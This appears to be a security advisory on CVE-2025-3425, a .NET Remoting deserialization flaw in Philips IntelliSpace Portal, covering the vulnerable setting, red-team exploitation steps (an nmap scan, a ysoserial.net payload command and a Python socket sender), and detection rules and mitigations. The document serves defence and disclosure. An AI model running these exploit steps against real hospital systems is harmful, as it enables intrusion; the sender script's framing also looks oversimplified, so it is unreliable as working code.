CVE-2025-3425

Executive Summary

CVE-2025-3425 is a critical deserialization vulnerability in Philips IntelliSpace Portal, version 12 and prior. The application uses .NET Remoting on port 755 with the TypeFilterLevel set to Full, which allows an unauthenticated attacker to send malicious serialized objects. Successful exploitation leads to remote code execution (RCE) on the server hosting the portal. This vulnerability is particularly dangerous because it requires no authentication and can be triggered over the network. No public proof-of-concept (PoC) or patch is currently available, making it a high-priority zero-day for healthcare environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary .NET application vulnerability.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description (network-accessible, unauthenticated, RCE via deserialization), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the EPSS score of 0.0% indicates low exploitation activity currently, but this may change rapidly once PoC code is released.

Deep Dive & Mechanics

The vulnerability resides in the .NET Remoting infrastructure of Philips IntelliSpace Portal. .NET Remoting is a legacy technology for inter-process communication (IPC) that allows objects to be passed between application domains or across network boundaries. By default, .NET Remoting uses a low TypeFilterLevel to restrict which types can be deserialized, preventing arbitrary code execution.

In this case, the server configuration has TypeFilterLevel set to Full. This setting allows the deserialization of any .NET type, including those that can execute arbitrary code during deserialization (e.g., System.Configuration.Install.AssemblyInstaller, System.Diagnostics.Process). An attacker can craft a malicious serialized object that, when deserialized by the server, executes arbitrary commands.

The attack flow:

1. Attacker connects to port 755 (the .NET Remoting TCP channel).
2. Attacker sends a serialized payload containing a gadget chain (e.g., TextFormattingRunProperties, DataSet, or ObjectDataProvider).
3. The server deserializes the payload with TypeFilterLevel = Full, triggering the gadget chain.
4. The gadget chain executes attacker-controlled code (e.g., a reverse shell, ransomware, or data exfiltration).

Vulnerable vs. Patched Code

Vulnerable Configuration (IntelliSpace Portal <= 12): The server configuration file (e.g., web.config or app.config) contains:

<system.runtime.remoting>
  <application>
    <channels>
      <channel ref="tcp" port="755">
        <serverProviders>
          <formatter ref="binary" typeFilterLevel="Full" />
        </serverProviders>
      </channel>
    </channels>
  </application>
</system.runtime.remoting>

Patched Configuration (Hypothetical): The typeFilterLevel should be set to Low or the channel should use a secure alternative like WCF with proper authentication and encryption:

<system.runtime.remoting>
  <application>
    <channels>
      <channel ref="tcp" port="755">
        <serverProviders>
          <formatter ref="binary" typeFilterLevel="Low" />
        </serverProviders>
      </channel>
    </channels>
  </application>
</system.runtime.remoting>

Additionally, the application should implement a custom ISerializationSurrogate or use a whitelist of allowed types.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• Target: Windows Server 2019/2022 running IntelliSpace Portal v12.
• Attacker: Kali Linux with ysoserial.net (or Windows with .NET Framework).

Exploitation Steps:

1. Identify the target: Scan for port 755 open.

   nmap -p 755 <target_ip>
   

2. Generate a malicious payload using ysoserial.net:

   # On Windows with ysoserial.net
   ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "calc.exe" -o raw > payload.bin
   

3. Send the payload to the .NET Remoting endpoint:

   import socket
   import sys
   
   def send_payload(host, port, payload_file):
       with open(payload_file, 'rb') as f:
           payload = f.read()
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((host, port))
       # .NET Remoting binary format: length prefix + payload
       sock.send(len(payload).to_bytes(4, 'little') + payload)
       sock.close()
   
   if __name__ == '__main__':
       send_payload(sys.argv[1], 755, 'payload.bin')
   

4. Execute: python exploit.py <target_ip> payload.bin

Expected Result: Calculator (or reverse shell) executes on the target server.

Blue Team (Defender)

Detection & Response:

• Monitor for unusual network connections to port 755 from untrusted IPs.
• Enable .NET Remoting logging (if possible) to capture deserialization attempts.
• Use process monitoring to detect unexpected child processes (e.g., calc.exe, powershell.exe) spawned by the IntelliSpace Portal process.
• Implement network segmentation to restrict access to port 755 to only authorized management stations.

Indicators of Compromise (IOCs)

• Network:
  • Inbound connections to TCP port 755 from external IPs.
  • Unusually large or malformed TCP packets on port 755.
• Host:
  • Event ID 500 (.NET Runtime) errors related to deserialization.
  • Unexpected processes (e.g., cmd.exe, powershell.exe, calc.exe) spawned by IntelliSpacePortal.exe.
  • Files written to %TEMP% or %APPDATA% by the portal process.
• File:
  • Presence of ysoserial.net or similar tools on the network.
  • Modified configuration files (e.g., web.config) with typeFilterLevel="Full".

Detection Engineering

YARA Rule

rule CVE_2025_3425_Deserialization_Payload {
    meta:
        description = "Detects .NET BinaryFormatter payloads targeting CVE-2025-3425"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-3425"
    strings:
        $binary_header = { 00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 }
        $gadget_1 = "TextFormattingRunProperties"
        $gadget_2 = "ObjectDataProvider"
        $gadget_3 = "DataSet"
        $gadget_4 = "AssemblyInstaller"
    condition:
        $binary_header at 0 and any of ($gadget_*)
}

Sigma Rule

title: CVE-2025-3425 .NET Remoting Deserialization Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects network connections to port 755 followed by suspicious process creation from IntelliSpace Portal
author: Valters IT
date: 2025-04-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'IntelliSpacePortal.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'powershell.exe'
            - 'calc.exe'
            - 'wscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative tasks
level: high

Suricata Rule

alert tcp any any -> $HOME_NET 755 (msg:"CVE-2025-3425 .NET Remoting Deserialization Attempt"; flow:to_server,established; content:"|00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00|"; depth:16; content:"TextFormattingRunProperties"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Place IntelliSpace Portal servers behind a firewall and restrict access to port 755 to only trusted IPs.
2. Disable .NET Remoting: If possible, migrate to a secure alternative like WCF with HTTPS and message-level encryption.
3. Apply workaround: Modify the server configuration to set typeFilterLevel="Low" and implement a custom SerializationBinder to whitelist allowed types.

Long-term Fix:

• Philips must release a patch that removes the dependency on .NET Remoting or implements proper input validation and type filtering.
• Upgrade to a version >12 if/when a patch is available.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable .NET deserialization logging (via ETW or custom instrumentation).

Valters IT
DevSecOps & Cyber Threat Intelligence